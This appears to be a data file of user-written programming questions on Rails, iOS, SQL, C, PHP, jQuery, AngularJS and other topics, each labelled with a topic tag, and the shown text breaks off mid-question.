chapter 8 .micheal hartl ror 3rd edition  hi i am presently on chapter 8 micheal hartl learning rails 3rd edition. presently i am stucked in chapter 8 with above errors .i will highly appreciate if somebuddy help me out with it. thanks in advance    when i run  bundle exec rake test it comes up with    <pre><code>sample_app git:(log-in-log-out) ✗ bundle exec rake test run options: --seed 16515  # running:  ......e............  finished in 0.944425s  20.1181 runs/s  40.2361 assertions/s.    1) error: sitelayouttest#test_layout_links: nomethoderror: undefined method `full_title  for #&lt;sitelayouttest:0x007ff8bea694b0&gt;     test/integration/site_layout_test.rb:12:in `block in &lt;class:sitelayouttest&gt;   19 runs  38 assertions  0 failures  1 errors  0 skips </code></pre>   whereas my file posses the following   <pre><code>require  test_helper   class sitelayouttest &lt; actiondispatch::integrationtest   test  layout links  do       get root_path       assert_template  static_pages/home        assert_select  a[href= ]   root_path  count: 2       assert_select  a[href= ]   help_path       assert_select  a[href= ]   about_path       assert_select  a[href= ]   contact_path       get signup_path       assert_select  title   full_title( sign up )    end end </code></pre>,ruby-on-rails
ios making buttons to work between viewcontrollers  i asked a question similiar to this before and got many answers first of all thanks for them but because of the complexity of the project i didnt understand the answer so i decided to ask it again this time in a very simple form.    i have one button in viewcontrollera and i want that button to write on a label which is in viewcontrollerb.its simple a button at a will set the label text on b.    example    user opens the app    clicks the button at page a    second page comes up and in that page label text is set by the label.text code came from viewcontroller a it calls the code    or maybe i can call the code of a from b its not important as long as i make it.i can make butons to open another viewcontrolers so you dont need to explain it.    also if any other ways around and as long as they are simple i can do them too.maybe i wrote the code elsewhere and call it from a and b.    please explain it step by stem cause i have little knowlage about objective c and xcode.    i ask this question to learn about connections between viewcontrollers.in reality i will make that button to display a random number at the second page but its not important rightnow cause if i learn to make simple connection i can do the rest.,ios
recaptcha (privacy and terms) location  i made a contact form with recaptcha. on every site i have seen  the  privacy - terms  links are inside the recaptcha box  but i have them on the other side of the page.    i used this code:   <pre><code>&lt;div class= g-recaptcha  data-sitekey= ***site-key**** &gt;&lt;/div&gt; </code></pre>   i did not use css. when i view my site on mobile  the site is perfectly aligned  but the privacy and terms of the recaptcha are far to the right.    edit:  hope this can explain it a bit more: <a href= https://gyazo.com/b63532c19a66c7d084c33007b44311e8  rel= nofollow >https://gyazo.com/b63532c19a66c7d084c33007b44311e8</a>  as you can see  the  privacy and terms  links are not in the recaptcha block  but on the right of the page.,html
possible to use vpnservice implementation to capture and send packets   i m considering the possibility of using the new android (4.0) vpnservice interface to implement simple packet capture and analysis. does anyone know if it s possible to take the packets you receive in a vpnservice implementation and simply write them out to the active/default network device  to receive data  i d have to be able to read from the network device as well  of course. if it is possible  what apis can be used to write to the network device(s),android
how would i create a formula only using declared int s in c   i m not sure if i worded my question properly  but here is what i m basically looking for. i m currently working on an assignment for school practicing using functions in my code. i m having trouble reusing a certain function by altering the operation in the function.    <pre><code>int arithmeticoptiongame(int operation) { int maxnumber  amtofproblems  i  answer = 0  choice; printf( what is the maximum number you would like \n ); scanf( %d   &amp;maxnumber); printf( how many problems would you like \n ); scanf( %d   &amp;amtofproblems);  int start = time(0);  for(i = 0; i &lt; amtofproblems; i++) { int j = (rand() % maxnumber) + 1; int k = (rand() % maxnumber) + 1; printf( what is %d %d %d:\n   j  operation  k);  /* what goes here for the answer formula */  scanf( %d   &amp;choice); if(choice == answer) { printf( correct! great job!\n ); } else {     printf( sorry  that s incorrect. the answer is %d\n   answer);     totalscore -= 5; } } int end = time(0);  timespent = end - start; timeconvertedtoscorepoints(); totalscore /= amtofproblems;   return; } </code></pre>   depending on what i need for my operation whether it s +  -  /  *  etc. how would i code it under the <code>printf</code> line. i ve already tried:   <pre><code>answer = j operation k;  </code></pre>   which i know is wrong  but figured i d try. again  not sure if this is even possible or would i need to just create a separate function for each operation,c
sql time entry and time exit from eventime  i have two tables  data and events  with the following data:   <pre><code>events eventindex  objid   locid   eventdata   eventtime       eventtype 83707365    3519434 10376   0           2013-05-19 11:32:11 137 83707849    3519434 10374   0           2013-05-19 11:35:18 137  83714233    888799  10376   0           2013-05-19 12:24:45 137  83715200    888799  10184   0           2013-05-19 12:32:18 137  data eventindex  tagname tagvalue     83714233    objname peter 83714233    locname h118 83715200    objname peter 83715200    locname h116 83707365    objname john 83707365    locname h118 83707849    objname john 83707849    locname h116 </code></pre>   where do i start with a sql query     i want to get the results:   <pre><code>name   location  entry      exit        total peter  h118      12:24:45   12:32:18    00:07:33 john   h118      11:32:11   11:35:18    00:03:07 </code></pre>   the event 83714233 locates peter in the h118 and event 83715200 locates peter in h116  so we know that 83715200 is the output event  not if i have explained    thanks,sql
sql query to find out matching column combination between 2 tables  i would like to know the query for the following case.   <pre><code>table 1 :         table 2  col1    col2    col1    col2 sandy    1     sandy     24 reena    2     reena     32 swathi   3     swathi    3 reenu    4     karthik   5                reenu     4                muthu     6 </code></pre>   the query should <strong>return:</strong>   <ol> <li> the rows in table 2 that is not in table 1 ( karthik and muthu rows should be the result) </li> <li> it shoudl compare the column combination and should return the changed column combination.  </li> </ol>   finally i should get the following <strong>result :</strong>    <pre><code>table1.col1 table1.col2 table2.col2 sandy         1          24 reena         2          32 karthik      na          5 muthu        na          6 </code></pre>   thanks in advance.,sql
no max() applicable: sequence contains no elements  i have a list <code>list</code> with items in it like this   <pre><code>elementa: number=1  version=1 elementb: number=1  version=2  elementc: number=1  version=3 &lt;- elementd: number=2  version=1 elemente: number=2  version=2 &lt;- elementf: number=3  version=1 &lt;- </code></pre>   and i want to select all items which have the highest <code>version</code> in a group with items of same <code>number</code>. (see the arrows above.)    i would like to use a query for this so i ve tried this:   <pre><code>var result = from a in list where a.version &gt;=             (from b in list where b.number == a.number &amp;&amp; b != a select b.version).max() select a; </code></pre>   this is working fine  if every group of items with the same <code>number</code> consists of at least 2 elements  but otherwise it throws an invalidoperationexception if the inner query contains no elements.    how can i rewrite the query to get what i want  i would be grateful for every hint. :-),c#
passing a string into a function after performing malloc  this is the code i have in my main c function.   <pre><code>char *filename;              filename = malloc(2001); //if i don t do this step it gives me an error  filename = listdirectorycontents( test_data\\tmp );//this returns a string  for filename  printf( filename : %s    filename);//value of filename is displayed which is an address and is not null or empty  copyobjectfileininfolder(filename  logger);//here i am passing the filename to this function where i am getting the error </code></pre>   ok now what i am trying to do is i am trying to pass the string filename into the function (in the function the variable for filename is object)   <pre><code>void copyobjectfileininfolder(char *object  char* logger2); {         char source[500];         char destination[500];         char cmd[1000];         printf( \nobject : 123%s123\n   object);//here the out put i see is  object : 123123          printf( \nlogger : %s\n   logger2);           if(flag ==2)//for windows          {                         //object +=14;                   printf( \nobject : %s\n   object););//here the out put i see is  object :                      sprintf(source   test_data\\tmp\\%s   object ); //full address of source file                   sprintf(destination   ..\\in\\%s   object ); //full address of where the file is to be copied                     sprintf(cmd  if exist %s del /q %s   destination  destination);//to make sure to delete the file if it already exists in the safexhonw\in folder                   system(cmd);                   memset(cmd 0 strlen(cmd));//deleting old values stored in cmd                    sprintf(cmd   copy %s %s   source  destination );          }          system(cmd);//using linux terminal or windows command prompt to copy file from source folder into safexhomedirectory in folder                       memset(cmd 0 strlen(cmd));//deleting old values stored in cmd          memset(source 0 strlen(source));//deleting old values stored in source         memset(destination 0 strlen(destination));//deleting old values stored in destination  } </code></pre>   but when i pass it  it is always empty  i.e. filename/object does not show any value  not even   (null) . i know it might be something to do with this malloc command.    here is the other function   <pre><code>char* listdirectorycontents(const char *sdir) { win32_find_data fdfile; handle hfind = null;  char spath[2000];  //specify a file mask. *.* = we want everything! sprintf(spath   %s\\*.*   sdir);  if((hfind = findfirstfile(spath  &amp;fdfile)) == invalid_handle_value) {     printf( path not found: [%s]\n   sdir);     return 1; }  do {     //find first file will always return  .      //    and  ..  as the first two directories.     if(strcmp(fdfile.cfilename   . ) != 0             &amp;&amp; strcmp(fdfile.cfilename   .. ) != 0)     {         //build up our file path using the passed in         //  [sdir] and the file/foldername we just found:         sprintf(spath   %s\\%s   sdir  fdfile.cfilename);          //is the entity a file or folder          if(fdfile.dwfileattributes &amp;file_attribute_directory)         {             printf( directory: %s\n   spath);             listdirectorycontents(spath); //recursion  i love it!         }         else{             printf( file: %s\n   spath);             findclose(hfind);             return spath;         }     }    }while(findnextfile(hfind  &amp;fdfile)); //find the next file.  findclose(hfind); //always  always  clean things up!      return   ; } </code></pre>,c
black diamonds with question marks instead of pound sign causing issues  have a site that pulls in data from a ms sql database and in there the user inputs the price of the property (i.e. £159 950) and on the desktop site this pulls in fine but they have a dedicated mobile site (their choice  going responsive on next re-design) and the pound sign won t pull in  instead it shows the black diamond with a question mark in it. the bizarre thing is though  if i refresh the page the pound sign appears fine so really baffled by it to be honest. when i view the mobile url in a desktop browser the £ sign shows fine also. really annoying me now. i have the following in the header:   <pre><code>&lt;!doctype html public  -//wapforum//dtd xhtml mobile 1.0//en   http://www.wapforum.org/dtd/xhtml-mobile10.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=iso-8859-1 &gt; </code></pre>   and have tried alternatives but to no avail yet. any ideas  seems odd that once you refresh it works. you would think it would or it wouldn t. thank you for any advice.,html
getting fixed headers to stay inside container w/ jquery  i m trying to get a div to get fixed positioning when it s parent gets to the top of the window  and lose it when it hits the bottom...  for some reason  i can get it to get the fixed positioning  but not lose it.  been at this for awhile and i just cant figure it out...    here is my code so far.  can anyone see something i m missing or screwed up on    <pre><code>    $(window).bind( scroll  function(event) {     $( .posthead ).each(function(e) {         var y = $(window).scrolltop();         var windowheights = $( body ).height();          var postheadh = $(this).height() + 30;         var top = $(this).offset().top - parsefloat($(this).css( margin-top ).replace( auto   0));          var postheight = $(this).parent( .type-post ).height();         var windowheight = windowheights - top;          //var top = getposition.top;          var posttop = top - y;         var postbottom = postheight + top - y;           $(this).parent( .type-post ).children( .debug ).html( position from top: &lt;span&gt;  + y +  &lt;/span&gt; bottom: &lt;span&gt;  + postbottom +  &lt;/span&gt; );           if(posttop &lt;= 0) { $(this).addclass( fixed ); }         else if(posttop &gt;= 0) { $(this).removeclass( fixed ); }          if(postbottom &lt;= 0) { $(this).removeclass( fixed ); }            }); }); </code></pre>,jquery
migrating from 2.0 to 4.5.1 causes program to look for separate resource assembly  i m in the process of migrating some software from .net 2 to 4.5.1. the application consists of a main program and a dll (let s call it <code>foo.dll</code>). both the main program and the dll are loaded by a loader application (through <code>appdomain.assemblyresolve</code> and <code>assembly.load</code>).    after going to 4.5.1  as soon as my code touches an embedded resource  the runtime tries to load <code>foo.resources.dll</code>  which it obviously cannot find since there is no such file. this only happens if i run it through my loader. if i run it directly it works as it should.    any idea what s going on here,.net
how to split up integer value   how i can split up integer value like  3452  as 3 4 5 2 and assign each integer to an alphabet like  b = 3    g = 4    q = 5    u = 2  as we required and then merge these alphabets like  bgqu  and return this string and use it outside of function. please tell me if there is any option.,php
css multiple background just for 1 div  is it possible to have 1 div and set multiple background for each height       i don t want to have new div   i want to set 3 backgrounds for 1 div .    for example ::    from height : 0px until height : 250px >> background1    from height : 250px until height : 550px >> background2    if it is possible   please give me an example .    thanks .,css
@fontface working on mac chrome  but not on windows chrome   using @fontface  it s working absolutely fine with chrome on mac  but defaults to arial on chrome with windows.    any ideas why and what i can do. the code i have is as follows    <pre><code>@font-face { font-family:  yearling yearlite ; src: url( ../../fonts/yearlite.eot ); src: local( ! )      url( ../../fonts/yearlite.woff ) format( woff )      url( ../../fonts/yearlite.ttf ) format( truetype )      url( ../../fonts/yearlite.svg ) format( svg ); </code></pre>   cheers,html
visual studio data compare msg 3727  i tried to do data compare with visual studio 2012 but got 1 critical error. i was able to to do the comparison between these 2 db before i was forced to update the data compare since i am comparing with another db using sql 2014. my latest sql server data tools ver is 11.1.40403.0    please see below for the screen shot. has anybody encounter this before and has solution  i am stuck as data compare doesn t has any option to select to bypass constraint check or whatsoever.    <img src= https://i.stack.imgur.com/elmbp.jpg  alt= error message >,sql
val() on <option> returns text instead of value in ie7 <pre><code>$(this).find( select option:selected ).each(function (i  val) {      var selectedvalue = $(val).val(); //this returns the text from the option instead of the value }); </code></pre>   is this a known issue in ie7  i didnt find any info about it  possible workarounds  thanks,jquery
nsarray memory management  for some reason when i release the nsarray i get the exc_bad_access exception. here is the implementation:    <pre><code>-(void) loadallalphabets {     nsbundle *bundle = [nsbundle mainbundle];      nsarray *imagespath = [[nsarray alloc] init];       imagespath = [bundle pathsforresourcesoftype:@ png  indirectory:@ images ];      alphabets = [[nsmutablearray alloc] init];       nsstring *filename = [[nsstring alloc] init];       for(int i=0; i&lt;= imagespath.count -1 ; i++)      {         filename = [[imagespath objectatindex:i] lastpathcomponent];         ccsprite *sprite = [ccsprite spritewithfile:filename];          sprite.userdata = [[filename stringbydeletingpathextension] uppercasestring];             [alphabets addobject:sprite];      }      // release filename      [filename release];      filename = nil;       [imagespath release]; // this causes the application to crash with exc_bad_access //  imagespath = nil;  </code></pre>   }    <strong>update 1:</strong>    so  the problem was that although i was responsible for releasing the imagespath object since i used alloc that soon become irrelevant when pathsforresourcesoftype returned an autorelease object.  this means i should not release the imagespath object manually.     the following line should be used:    <pre><code>nsarray *imagespath = [bundle pathsforresourcesoftype:@ png  indirectory:@ images ]; </code></pre>   <strong>update 2:</strong>     another question which is related to this post. in the following code i initialize a new nsmutablearray manually.    <pre><code>alphabets = [[nsmutablearray alloc] init];  </code></pre>   later i insert ccsprite (cocos2d objects) into alphabets array. ccsprite are autorelease objects. do i still have to release alphabets manually  since  after some time all objects are released and memory will be returned but then what will be left inside alphabets nsmutable array,iphone
redirecting php resolving the roles  good day  i m making a web site and i have a litte problem. when i log in a user  php code get s an information from database if he is a simple user or an admininistrator.   <pre><code>    &lt; php  require( session.php ); if(!empty($_post)){     $user=  ;     $log_control=false;     $q= select id username email salt password from users where username=:username limit 1 ;     $q_par=array( :username =&gt;$_post[ user ]);     try{         $statment=$dbh-&gt;prepare($q);         $res=$statment-&gt;execute($q_par);     }catch(pdoexception $e)     {     die( can t execute query:  . $e-&gt;getmessage());     }              $row=$statment-&gt;fetch();       if($row)          {              $pswd_check=hash( sha256               $_post[ password ] . $row[ salt ]);              for($i=0;$i&lt;65536;$i++)              {  $pswd_check=hash( sha256   $pswd_check . $row[ salt ]);  }               if($pswd_check===$row[ password ])              {  $log_control=true; }              if($log_control)              {                $q= select userrole from users where username=:username limit 1 ;              $q_par=array( :username =&gt;$_post[ user ]);     try{         $statment=$dbh-&gt;prepare($q);         $res=$statment-&gt;execute($q_par);     }catch(pdoexception $e)     {     die( can t execute query:  . $e-&gt;getmessage());     }        $role = $statment-&gt;fetchcolumn();                   if($role== u ){                 unset($row[ salt ]);                  unset($row[ password ]);                   $_session[ user ] = $row;                  header( location: user.php );                  die( redirecting to: user.php );                 }                 if($role== s ){                 unset($row[ salt ]);                  unset($row[ password ]);                   $_session[ user ] = $row;                  header( location: admin.php );                  die( redirecting to: admin.php );                 }              }else              {               echo  &lt;div class= alert &gt;password or username is wrong!&lt;/div&gt; ;                 $user=htmlentities($_post[ user ]                  ent_quotes   utf-8 );              }          }         }   &gt; </code></pre>   so  this is a part where i m trying to log in a user. but in the other part of code in the same page  i m trying to control if the user was alredy loged in or not. and in the same time  i m trying to get an information if he is a user or if he is a administrator. with this :   <pre><code>&lt; php  if(isset($_session[ user ])){                  if($_session[ userrole ]== u ){                 header( location: user.php );                  }                 if($_session[ userrole ]== s ){                  header( location: admin.php );          }}  &gt; </code></pre>   but when i get to this page again(after logging in)  it does not redirecting me  it says that userrole is undefined and i have to log in again. what s the problem,php
c# index search like ava find  you may be known about ava find  it first indexe the entire hard-disk  then you can search a file very fast  can find a file very fast (within a second even in a low end spu). if do the same using sql server  first index the file names in an sql server db   then search  it will take a long time. how can we create one like ava find in c# or dot net,.net
in angular  dynamically change css properties   i am using a css selector <code>my-invalid</code> to indicate invalid elements.   <pre><code>.my_invalid{    border-color:#ffdddd;    background-color:#ffdddd;    background-image: none;   } </code></pre>   i would like to control when the elements use the invalid styling by modifying the selector. is there a way to modify the actual selector properties in angular  something along the lines of:   <pre><code>var my_invalid_props = css.find( my_invalid ).properties;  ...  css.find( my_invalid ).properties = [];  ....  css.find( my_invalid ).properties = my_invalid_props; </code></pre>,angularjs
foreach loop - receiving duplicates  wonder if someone could assist me with the below. i have created a foreach loop to show all the children pages of current page. this works.    i am then trying to show different text for each child based on whether the current logged in user is the owner or not. this works  apart from at each loop iteration the previous results are added prior to the current.   <pre><code>&lt; php       $results = $page-&gt;children;      foreach($results as $reply) {           //bottom post buttin display options - reply         if ($reply-&gt;createduser-&gt;name == $user-&gt;name){              $bottom_options_reply .=  &lt;p&gt; this is the current owner&lt;/p&gt; ;          }          else  {              $bottom_options_reply .=  &lt;p&gt; this is not the owner &lt;/p&gt; ;         }          //theme each topic                            echo         &lt;div class= panel panel-default &gt;                  &lt;div class= panel-body &gt;                      &lt;div class= col-md-3 &gt;                         {$avatar_profile_logo}                         {$reply-&gt;createduser-&gt;name}                      &lt;/div&gt;                      &lt;div class= col-md-6 &gt;                         {$reply-&gt;body}                      &lt;/div&gt;                 &lt;/div&gt;               &lt;div class= panel-footer &gt;                  {$bottom_options_reply}              &lt;/div&gt;       &lt;/div&gt;          ;  &gt; </code></pre>   below is a screenshot of the output. <img src= https://i.stack.imgur.com/q9dl1.png  alt= enter image description here >,php
using characteratindex on a decimal point in objective-c  i m trying to do some stuff with <code>characteratindex</code> and i m stumped.  <code>if ([mystring characteratindex:0]==0)</code> works fine  if i m looking for the number zero--but if i m looking for a decimal point  <code>if ([mystring characteratindex:0]==.)</code> just gives me an error.  is there another way to do this,objective-c
iphone wait for animation ending  in an iphone application  i try to catch animation endings using setanimationdidstopselector. i try to suspend code execution until animation ends. i have tried this; set a global bool variable  set it to true before commiting animation and after commiting animations waited using a while loop. in the setanimationdidstopselector  set the bool variable to false and hope while loop to break. but unluckily this did not work  the code did not even fall into setanimationdidstopselector (i check that with some trace outputs). edit: if that bool variable handling is not added  code runs into the handler method.    the code where animation takes place is below:   <pre><code>self.animationended=false; [uiview beginanimations:null context:null]; [uiview setanimationduration:2]; [uiview setanimationdelegate:self]; [uiview setanimationdidstopselector:@selector(animationdidstop:finished:context:)]; // do sth. [uiview commitanimations]; while(![self animationended]); </code></pre>   also this is the code of handler:   <pre><code>- (void)animationdidstop:(nsstring*)animationid finished:(nsnumber*)finished context:(void*)context {     printf( abc\n ); fflush(stdout);     self.animationended=true; } </code></pre>   what do you suggest,iphone
why is this reverse string program not working   i am new to c programming so please do forgive my naivety. the following program when outputted fails to print the last character of the input string as the first character of the output string.    for example:   <pre><code>enter no. of elements: 5 enter string: hello the reversed string is: lleh </code></pre>   why is the <code>o</code> not printing    <pre><code>#include &lt;stdio.h&gt;  int main() {     printf( enter no. of elements:  );     int n;     scanf( %d   &amp;n);     char string[10000];     printf( enter string:  );     for (int i = 0; i &lt; n; i++) {         scanf( %c   &amp;string[i]);     }     printf( the reversed string is:  );     for (int i = (n - 1); i &gt;= 0; i--) {         printf( %c   string[i]);     }     printf( \n );     return 0; } </code></pre>,c
trying to delete a single value from array  i am trying to delete a value from a passed array at the selected index. basically taking the selected index of a list box that displays the arrays and using it to delete an entry. for some reason nothing is deleted and stays the same when i run the program. i am programing in visual studio 2010 in c#   <pre><code>public double [] redrawarray(double[] ary  int selectedindex) {     double[] redonearray = new double[ary.getupperbound(0)];      for (int i = selectedindex; i &lt; ary.getupperbound(0); i++)     {         redonearray[i] = ary[i + 1];     }     //redonearray[ary.getupperbound(0)] = 0;     return redonearray; } </code></pre>   here is the delete button portion of code    <pre><code>private void btndelete_click(object sender  eventargs e) {     int selectedindex;     if (this.lstclients.selectedindex &lt;= 1)     {         return;     }      //else if ((this.lstclients.selectedindex - 2) &lt; arrayindex)     else     {             selectedindex = this.lstclients.selectedindex - 2;             this.lstclients.items.removeat(this.lstclients.selectedindex);             lbsi.text = (this.lstclients.selectedindex - 2).tostring();             redrawarray(mfirstnamearray  selectedindex);             redrawarray(mlastnamearray  selectedindex);             redrawarray(magearray  selectedindex);             redrawarray(mheightarray  selectedindex);             redrawarray(mstartweightarray  selectedindex);             redrawarray(mgoalweightarray   selectedindex);             redrawarray(mtotalweeksarray  selectedindex);             //arrayindex += -1;                                 lstclients.items.clear();             loadlistbox();     }  } </code></pre>   and here is my main code that loads it into the list   <pre><code>private void loadlistbox() {     string currentclient;     int linenumber = 0;     string formattedname;     string stravgbmi;     string strlowbmi;     string strhghbmi;     double dstartavgbmi;     double dstartlowbmi;     double dstarthghbmi;     double dendavgbmi;     double dendlowbmi;     double dendhghbmi;       lstclients.items.add(    client name      age    height(in)   start weight    start bmi    goal weight    goal bmi     weeks );     lstclients.items.add( =================  =====  ===========  ==============  ===========  =============  ==========  ========= );      for (int index = 0; index &lt; arrayindex; index++)     {         if (mfirstnamearray[index] == null)         {             continue;         }         linenumber++;         formattedname = mfirstnamearray[index];         formattedname +=    ;         formattedname += mlastnamearray[index];         mstartbmi[index] = calcbmi(mheightarray[index]  mstartweightarray[index]);         mendbmi[index] = calcbmi(mheightarray[index]  mgoalweightarray[index]);         currentclient = index.tostring() +      ;         currentclient += formattedname.padright(18) +    ;         currentclient += magearray[index].tostring( ## ).padleft(4) +         ;         currentclient += mheightarray[index].tostring( ##.#0 ).padright(4) +             ;         currentclient += mstartweightarray[index].tostring( ###.0 ).padright(4) +            ;         currentclient += mstartbmi[index].tostring( ##.#0 ).padright(4) +            ;         currentclient += mgoalweightarray[index].tostring( ###.0 ).padright(4) +            ;         currentclient += mendbmi[index].tostring( ###.#0 ).padright(4) +          ;         currentclient += mtotalweeksarray[index].tostring( ## ).padright(4);          lstclients.items.add(currentclient);     }     dstartavgbmi = sumavg(mstartbmi  arrayindex);     dstarthghbmi = maxarray(mstartbmi  arrayindex);     dstartlowbmi = minarray(mstartbmi  arrayindex);     dendavgbmi = sumavg(mendbmi  arrayindex);     dendhghbmi = maxarray(mendbmi  arrayindex);     dendlowbmi = minarray(mendbmi  arrayindex);      stravgbmi =   ;     strhghbmi =   ;     strlowbmi =    ;     stravgbmi =                                              average:        + dstartavgbmi.tostring( 0#.#0 ) +                           + dendavgbmi.tostring( 0#.#0 );     strhghbmi =                                              high:           + dstarthghbmi.tostring( 0#.#0 ) +                           + dendhghbmi.tostring( 0#.#0 );     strlowbmi =                                              low:            + dstartlowbmi.tostring( 0#.#0 ) +                           + dendlowbmi.tostring( 0#.#0 );     lstclients.items.add(stravgbmi);     lstclients.items.add(strhghbmi);     lstclients.items.add(strlowbmi); } </code></pre>,c#
how to remove html tags getting from sqlite database in android   in my project i am getting data from <strong>sqlite database</strong> and setting that data to my <strong>textviews</strong>. but the <strong>data which i am getting contains html tags</strong> which is looking odd when i am displaying. can <strong>we remove those html tags</strong> after getting them from database  please help me regarding this.     thanks in advance.....,android
how to check that byte array is base64 encoded   how to check that byte array is base64 encoded     i have an array of bytes  which i need to test if it is base64 encoded.,java
automatically move the focus of next text field if the length of the text field is equal to max range  hi i have to text fields i want to move the focus from first text field to another textfield automatically      for this i am using the following code    <pre><code>- (bool)textfield:(uitextfield *)textfield shouldchangecharactersinrange:(nsrange)range replacementstring:(nsstring *)string {     bool isvalid = yes;      nsinteger insertdelta = string.length - range.length;        if (textfield.tag == 0) {             if (textfield.text.length + insertdelta &gt;= 8)         {             [txtrxstorenumber becomefirstresponder];             if (txtrxstorenumber.text.length &gt;= 5) {                 isvalid = no;             }         }       }else if (textfield.tag == 1) {         if (textfield.text.length + insertdelta &gt; 5)         {             isvalid = no;         }            else if(textfield.text.length + insertdelta == 0) {             textfield.text = @  ;             [txtrxitemnumber becomefirstresponder];             isvalid = no;         }     }      return isvalid;  } </code></pre>   the first textfield max range is 7 .    it is working but the problem is after entering the 8th character only the cursor focus moving to second text field.    if only 7 characters are entered the focus of cursor is in first text field only.    after entering the 7th character i want to move to focus of cursor to second text field .    can any one please help me how to do that.,iphone
input fields values is not passing to controller  i have been stuck on this for a while. i have a job class that has multiple changeorders and purchase orders. i can create a new job without problems. i use the same code to post the new co and po. the problem is the values are not binding to there controllers. the difference between the new job and co/po is i am using $rootscope and ngstorage to insert the jobid into the co/po modals.     purchase order modal   <pre><code>//new purchaseorder modal $scope.newpurchaseordermodal = function () {     var modalinstance = $modal.open({         templateurl:  views/modals/newpurchaseordermodal.html           controller:  newpurchaseordermodalinstancectrl           windowclass:  large-modal           resolve: {             p: function () {                 return $scope.p;             }         }     }); }; </code></pre>   purchase order post   <pre><code>//post new purchase orders $scope.submitpo = function () {;     $scope.job = {};      alert($scope.ponumber);     var data = {         jobid: $scope.job.jobid          ponumber: $scope.ponumber          podate: $scope.podate          poamount: $scope.poamount          polastprintdate: $scope.polastprintdate          poemail: $scope.poemail          poprint: $scope.poprint          pofaxnumber: $scope.pofaxnumber          ponotes: $scope.ponotes          pocreatedby: $scope.pocreatedby          podeliverydate: $scope.podeliverydate          poshipvia: $scope.poshipvia          poshowprices: $scope.poshowprices          pocostcode: $scope.pocostcode          poapprovednumber: $scope.poapprovednumber          pobackorder: $scope.pobackorder         }     $http.post( /api/apipurchaseorder/postnewpurchaseorder   data).success(function (data  status  headers) {         console.log(data);         $scope.cancelnewpurchaseordermodal();      });   }; }); </code></pre>   purchase order view   <pre><code> &lt;div class= container  style= margin-top:20px  ng-controller= poctrl &gt;    &lt;form ng-submit= submitpo()  enctype= multipart/form-data &gt;     &lt;fieldset&gt;         &lt;tabset&gt;             &lt;tab heading= cover &gt;                 &lt;div class= col-xs-12  style= margin-top:10px &gt;                     &lt;div class= inline-fields  style=   ng-show= true &gt;                         &lt;label&gt;jobid:&lt;/label&gt;                         &lt;input style= width:150px;  ng-model= job.jobid  type= text  /&gt;                     &lt;/div&gt;                     &lt;div class= inline-fields &gt;                         &lt;label&gt;&lt;/label&gt;                         &lt;input style= width:150px;margin-left:81px  ng-model= job.jobname  type= text  /&gt;                         &lt;label style= margin-left:268px &gt;number:&lt;/label&gt;                         &lt;input style= width:150px  ng-model= ponumber  type= text  /&gt;                     &lt;/div&gt;                     &lt;div class= inline-fields &gt;                         &lt;label style= margin-left:48px &gt;attn:&lt;/label&gt;                         &lt;input style= width:150px;  ng-model= changeorderattn  type= text  /&gt;                         &lt;label style= margin-left:291px &gt;date:&lt;/label&gt;                         &lt;input style= width:150px  ng-model= podate  type= date  /&gt;                     &lt;/div&gt;                     &lt;div class= inline-fields &gt;                         &lt;label style= margin-left:39px &gt;email:&lt;/label&gt;                         &lt;input style= width: 150px;  ng-model= poemail  type= text  /&gt;                         &lt;label style= margin-left:217px &gt;gc ref number:&lt;/label&gt;                         &lt;input style= width:150px  ng-model= poapprovednumber  type= text  /&gt;                     &lt;/div&gt;                     &lt;div class= inline-fields &gt;                         &lt;label style= margin-left:52px &gt;fax:&lt;/label&gt;                         &lt;input style= width: 150px;   ng-model= pofaxnumber  type= text  /&gt;                         &lt;label style= margin-left:233px &gt;delivery date:&lt;/label&gt;                         &lt;input style= width:150px  ng-model= podeliverydate  type= date  /&gt;                     &lt;/div&gt;                     &lt;div class= inline-fields &gt;                         &lt;label style= margin-left: 438px &gt;approved amount:&lt;/label&gt;                         &lt;input style= width:150px  ng-model= changeorderapprovedamount  type= text  /&gt;                     &lt;/div&gt;                 &lt;/div&gt;&lt;!--end col-xs-6--&gt;                 &lt;div class= col-xs-12 &gt;                     &lt;div class= inline-fields  style= margin-top:30px;margin-left:2px &gt;                         &lt;label&gt;created by:&lt;/label&gt;                         &lt;input style= width:635px  ng-model= pocreatedby  type= text  /&gt;                     &lt;/div&gt;                     &lt;div class= inline-fields  style= margin-left:37px &gt;                         &lt;label&gt;notes:&lt;/label&gt;                         &lt;textarea style= width:635px;height:200px  ng-model= ponotes &gt;&lt;/textarea&gt;                     &lt;/div&gt;                     &lt;div class= inline-fields  style= margin-top:10px;margin-left:509px &gt;                         &lt;label&gt;amount:&lt;/label&gt;                         &lt;input style= width:150px  ng-model= poamount  type= text  /&gt;                     &lt;/div&gt;                 &lt;/div&gt;                 &lt;div class= col-xs-12  style= margin-top:30px;padding-bottom:20px &gt;                     &lt;input style= margin-left:435px;width:75px;margin-right:25px  ng-click= printeditchangeordermodal()  type= button  value= print  go-click= #  /&gt;&amp;nbsp;                     &lt;input style= margin-right:25px;width:75px  type= submit  value= save  go-click= #  /&gt;                     &lt;input style= width:75px  type= button  ng-click= cancelnewpurchaseordermodal();  value= exit  go-click= #  /&gt;                 &lt;/div&gt;&lt;!--end col-xs-12--&gt;             &lt;/tab&gt;&lt;!--end cover content--&gt;             &lt;tab heading= details &gt;...&lt;/tab&gt;             &lt;tab heading= items &gt;...&lt;/tab&gt;         &lt;/tabset&gt;&lt;!--end tab content--&gt;     &lt;/fieldset&gt;&lt;!--end fieldset--&gt; &lt;/form&gt; </code></pre>    function to set the jobid in sessionstorage   <pre><code> //sync table selections / sessionstorage $scope.selectedjob = $sessionstorage.$default($scope.jobarray[1]); $scope.selectjob = function (job) {     $rootscope.job = job;     angular.extend($scope.selectedjob  job);     console.log($rootscope.job); }; $scope.clearselectedjob = function () {     $sessionstorage.$reset(); }; </code></pre>   table to select which job is set in storage   <pre><code> &lt;div id= scrollarea  style= margin-top:40px  ng-controller= jobctrl &gt;                   &lt;table class=  table table-striped table-hover &gt;                       &lt;thead&gt; &lt;tr&gt;&lt;th&gt;no&lt;/th&gt;&lt;th&gt;name&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;                       &lt;tbody&gt;                           &lt;tr ng-repeat= job in jobarray  class= pointer no_selection  ng-class= {highlight: job.jobnumber===selectedjob.jobnumber} &gt;                               &lt;td ng-dblclick= editjobmodal(job.jobid)  ng-click= selectjob(job) &gt;{{job.jobnumber}}&lt;/td&gt;                               &lt;td ng-dblclick= 